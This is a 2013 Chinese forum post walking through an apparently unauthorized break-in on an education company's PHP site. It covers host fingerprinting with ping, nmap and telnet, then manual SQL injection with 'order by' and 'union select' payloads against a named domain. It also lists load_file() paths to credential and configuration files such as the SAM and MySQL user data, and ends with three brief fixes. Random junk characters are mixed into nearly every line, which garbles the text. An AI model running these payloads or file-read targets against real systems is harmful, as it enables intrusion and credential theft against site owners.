找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2543|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
4 [* R9 o$ K& [7 ~9 @+ @; H/ l1 ]一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
* ^2 O0 O8 {2 }, [第一步:获取需要的信息
% Z9 ?0 M" J6 }3 n& m1 f+ M, q/ \由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
& E% Z5 U% y* m5 U注:以下为保护特用XXX代替敏感信息& h  o; z& m7 ~$ G1 c
顺手先PING了一下他们的域名:: w) ^2 m  ]8 z# O
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
. ]8 e' ~' \6 j: z- f# v% r2 I5 c8 [64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms5 F& p0 P* T' h- o- y( w! V
顺便了解一下TTL,学好基础知识才能一路顺风:
# w- ?( i' H; q% j9 R. pTTL:(Time To Live ) 生存时间2 K) Z9 |( v1 E7 k9 G+ B
指定数据包被路由器丢弃之前允许通过的网段数量。
6 O3 \' M3 L7 l* ~. w% k7 {( E) c5 K6 xTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。8 i# L% Y+ `- ^' `- y
使用PING时涉及到的 ICMP 报文类型! m0 [& ~6 F& G' ^5 v- A( {; k
一个为ICMP请求回显(ICMP Echo Request)
+ y- [4 ^' L* r/ l' y一个为ICMP回显应答(ICMP Echo Reply)
2 i8 k# M, {- u( Y4 ?+ ~# \* h$ n+ rTTL 字段值可以帮助我们识别操作系统类型。, Z- q+ H& @4 k: x) P
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2556 F5 V/ Z) S5 M! C1 l% C0 U
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
6 V9 L: d4 _: `5 e8 N8 s: O微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
; K9 c$ \3 Q# n% ]# ]) k微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 329 E* v3 N  _. T' y: ]
当然,返回的TTL值是相同的/ u2 H! k9 ?. w9 J) v1 k
但有些情况下有所特殊
- n0 e% F0 i% oLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
  ]- F2 v) ~3 M- s# m2 J' |6 p9 oFreeBSD 4.1, 4.0, 3.4;8 A. T8 K( G/ r  a! ^4 H
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
% \# L8 _$ j+ [2 {, i; TOpenBSD 2.6, 2.7,
% o, l* g9 L+ o+ v( PNetBSD- I4 R; U( F7 H3 [* x
HP UX 10.20
4 n" A- O. y8 [; y; M' Z+ S, WICMP 回显应答的 TTL 字段值为 255" x3 b* K7 U6 M* g+ C1 E
Windows 95/98/98SE- P0 W! _% ~& i' j
Windows ME
) h) F+ Q7 }" R7 G' DICMP 回显应答的 TTL 字段值为 32% K/ `" Z8 V4 b, _0 t
Windows NT4 WRKS
+ j7 I* B( T" O, a% j$ \; L. _Windows NT4 Server& G  J2 L# y1 H' j( H; i3 x' N
Windows 20005 D6 z1 b0 {# h+ M) q) x3 S' X
Windows XP
5 u" }$ M$ q, k3 v+ ~: T' \ICMP 回显应答的 TTL 字段值为 128
' C/ H' x: Y! Z- V这样,我们就可以通过这种方法来辨别操作系统" Q- L; u/ h% G( G! \1 R" L4 V
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255$ o' d, x# ^: J0 R8 F
用NMAP扫描一下:3 v1 P' N- V8 ?/ F6 J
nmap -sT -O XXX.XXX.XXX.XXX. ?; L  h% e( W! }
如果没有装WinPcap则会弹出提示:" m: ], m; l7 d2 z/ ]
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr; }4 D3 n  q6 M* K: x
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(+ ?; p% d0 O# J/ Q$ Y5 h  p) V
) mode — Nmap may not function completely7 S/ v& S# ?% b; F) d& ^" d  M
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher* a2 p+ O$ r/ |+ n/ o6 F- B
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win3 T' a& h" ^* {3 t5 }2 J% D' A( a
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
8 v9 ^& M6 k# G8 A% y9 Ed later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v8 d( ]" W& r1 f* T$ f7 R
ersions, you may be able to take iphlpapi.dll from another system and place it i
* A& l9 W$ e2 E, en your system32 dir (e.g. c:\windows\system32).
: Y" B8 q8 ~$ B6 Q4 I! v, lQUITTING!6 f5 [2 d& w6 b$ d: b
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
9 L5 [5 x! w: h0 u. |  V安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
* u/ N* R4 D+ L+ [" {# JInteresting ports on XXX.XXX.XXX.XXX:7 c6 A  @  M1 r% j& \0 W7 m
Not shown: 986 closed ports
8 S+ W1 G# z" \, ^8 Y$ X# M. n' gPORT     STATE    SERVICE
/ D8 u2 u1 k% i7 k" I/ m' G21/tcp   open     ftp/ T& |7 O* y/ V, p" c6 u0 r
22/tcp   open     ssh# e' t! L/ Q% G  @2 J4 I$ R5 _3 F
23/tcp   open     telnet
* g# R" \* A- c2 j) p7 O3 M80/tcp   open     http
+ q" ~& w0 _; K& O" R3 P- b111/tcp  open     rpcbind" o- {. x( z6 k# u& L
135/tcp  filtered msrpc1 H3 ?" A* N. M& _+ L
139/tcp  filtered netbios-ssn4 x+ X; X" E5 P
445/tcp  filtered microsoft-ds/ Z) b& \! v2 K1 l- A
513/tcp  open     login3 s4 B/ w3 U9 K$ ]; Q4 d
514/tcp  open     shell
5 ~1 V& d4 r! J9 [; R+ q593/tcp  filtered http-rpc-epmap( Y# a6 K& W! |0 r/ Z! H0 G, p9 K
1720/tcp filtered H.323/Q.931. i5 O+ S" H- G( j& W
3306/tcp open     mysql$ Y0 {  S, Q3 a, c- `! \0 ~
4444/tcp filtered krb5244 m  Q1 h. Z: |) c; e. c
Device type: WAP+ e0 x" ?/ C+ R0 \$ G, @
Running: Linux 2.4.X; E# c  m. q" u1 X' A) q
OS details: DD-WRT (Linux 2.4.35s)  d# }, [) n, o( H1 g9 \5 l* v% B! P* C
Network Distance: 13 hops
; r2 `$ l5 v% w' l) @8 V1 B看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:7 [9 ~* A$ y$ r2 x6 O
login as:
: x8 s) S$ W& @1 Y. |* Y: Z' K' }Telnet23端口也是开着的,用telnet 命令链接一下:
1 O' z3 ]) y2 i. i0 ?0 L( g, H, Ltelnet XXX.XXX.XXX.XXX
% V, _  P5 w: M; b2 g& {- z提示:: W6 R. v$ ?* {$ z2 X" o" v
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
! l* V7 a- g' y; `& jKernel 2.6.18-92.el5PAE on an i686
2 Q% ~1 P' i- Rlogin:  O" ?, N! \! a2 y! z; Z& D% y# M
获取HTTP头信息:3 g* o- U7 j; b: ^5 B5 t
在本地执行如下PHP代码5 A+ w% O) T3 D+ v
<?php6 n1 L% F1 }6 o8 b' B: n9 ?- i3 z
$url = ‘XXX.XXX.XXX.XXX’;
$ Y9 ]" z) Z" Nprint_r(get_headers($url));4 g9 S) d; p9 s% }7 ?5 U. \
print_r(get_headers($url, 1));
9 j5 L* E1 p/ L% T?>; v4 |; v. h+ _! K
将以上代码保存为PHP文件,执行:
0 w. |& p; }6 I0 MArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
6 Q: _. O3 V; j5 e现在可以得出结论:
5 A/ C! Y8 I1 W0 z2 X! p系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)- V& y% E0 o  W; |8 d  q
内核版本:Kernel 2.6.18-92.el5PAE on an i686
3 }$ k2 C4 ^( r: m) cWEB服务器版本:nginx/0.7.61$ w5 V4 Q2 s3 h$ s3 D( K% X: s
第二步,开始测试寻找漏洞
# Y2 j0 ?- a5 m& w- T; A分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
, u0 {8 ^- j0 s  j5 N7 U1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
1 ~2 y3 x+ g! l9 w$ q" X8 E5 G2、测试方法:在地址后加 and 1=1 和 and 1=2 测试8 Q4 q; o# K( u- a
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常* {" z" ~, k8 `7 s
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
0 V2 V8 _' j0 H9 L恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续  G" @7 m( H5 s* Z% _
3、手工注入:: j# q5 }& i4 A' a
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
8 s6 C  ?+ _- F9 q, Q3 ]3.1 猜测当前表字段数
' i; B& r+ n4 R' }http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
5 i1 i8 ~$ s0 R) Q" {" ]2 H% {此处猜测有个简单的算法,都是有技巧的吗,呵呵
! y& J5 M! @; [6 L0 q  O' E算法简单如下:! M: j0 ?) S# L
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
3 _& F! g) V, m- B/ A) k第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
0 x( o  I# ~1 s2 {0 X) k/ I5 d需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
! \4 ~% W, i) T+ D3 g/ A$ y9 e' |0 y以此来判断,是否过界,配合取中算法猜出字段数。
+ o/ M1 Z6 o+ }1 Y1 H$ r举例:
* Y5 q6 e; |6 A8 R7 \" ]http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
. B0 Z. P' v3 ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
/ h* A+ p; v/ E% y此时3则为我们要找的字段数。& p( {8 a/ s# {0 Q6 n3 m
3.2 配合union联合查询字段在页面所位置; y) e: p3 b7 g6 v0 {
我们已经知道了字段数为3,此时则可以做如下操作:
$ ?' I- Z) C" }# thttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
( E* x5 j2 {/ y( N- ]1 T+ O* L2 `% W  b0 k
这样就可以测试到哪些字段在页面上有所显示了,如图:
9 S& [1 @& B3 b
3 F, f/ \' e/ e) d3.3 查敏感信息
( \( n2 ^% v/ a& H- V# P这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
0 K, x! S; m; |http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()! T; b% W4 ]0 b- A0 P
3.3.1 先查数据库用户、数据库名,以备后用,如图:1 A+ c5 f8 A% ^9 C. V8 T( m
- I, h3 L7 {5 Z. C: u. f
得到数据库用户为root、数据库名为DBxx;7 B( ~, W; P* g4 ~( _8 n
3.3.2 查配置文件. O0 ?/ y& l* y" T
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
! `$ |1 }3 }2 c查看文件有一定的条件限制:. I) S3 H+ n" u9 w
欲读取文件必须在服务器上
  X" p& `. y5 f3 [必须指定文件完整的路径+ o% r# J. f' x# r
必须有权限读取并且文件必须完全可读! |  u  o( T  @, e" E0 b/ E
欲读取文件必须小于 max_allowed_packet7 y( T+ d8 W  |/ D( w9 D5 J
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
7 I: O9 q4 x* h$ f常用的一些:1 v7 x4 \* O7 G7 }* l1 }
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件* \1 x: o9 s5 X' B) g; H
/usr/local/apache2/conf/httpd.conf- M$ W/ c8 k4 y. ^! E7 Z/ p' R5 g
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
1 q# t/ V! Z( u3 T& ^- R0 i% C9 C/usr/local/app/php5/lib/php.ini //PHP相关设置
# i6 T3 N9 V3 j! u( {/etc/sysconfig/iptables //从中得到防火墙规则策略2 V, w+ W) F" d
/etc/httpd/conf/httpd.conf // apache配置文件
# J( |3 T; Y' w7 Y$ N  V/etc/rsyncd.conf //同步程序配置文件" ^  c6 k" o6 K6 E( T/ o! G7 }
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.  ~" {' F) ]: }0 |
/etc/my.cnf //mysql的配置文件
% X% s: X' N4 w: q, c$ S/etc/redhat-release //系统版本
3 ^! P4 d8 r, R$ S" U- L. F& L/etc/issue
8 a1 ?+ c5 }* |" B/etc/issue.net0 W/ B7 J# q% x6 G
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码! |/ ?6 w% [" K) H/ y" O
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码& Z. w2 {7 ?- o% \2 D4 {
c:\Program Files\Serv-U\ServUDaemon.ini5 d& h$ f# |1 o: b
c:\windows\my.ini //MYSQL配置文件
, U+ a7 f% }! pc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件$ ^  e1 G2 k. j4 K3 e! L+ P* Y
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
7 C& F5 O. e0 K  p6 O* {+ S- pc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
* _! t, Y% A3 ^c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
: [" u* _* \' @c:\Program Files\RhinoSoft.com\ServUDaemon.exe$ c8 v# k+ G9 [4 z1 V
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件; p7 ]# f0 ]0 x3 l4 S
//存储了pcAnywhere的登陆密码. a1 G, k: D9 E
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
% w* u# @' m! Q" b  z这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。1 X' Y% V6 w7 Z, W( z
最后:防范措施
- `) X- P2 N  M5 U1、修复PHP注入漏洞;( s- v5 g7 }5 p! Z) q; ?/ {
2、Mysql使用普通权限的用户;
' y( u9 g. Z$ s1 `3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表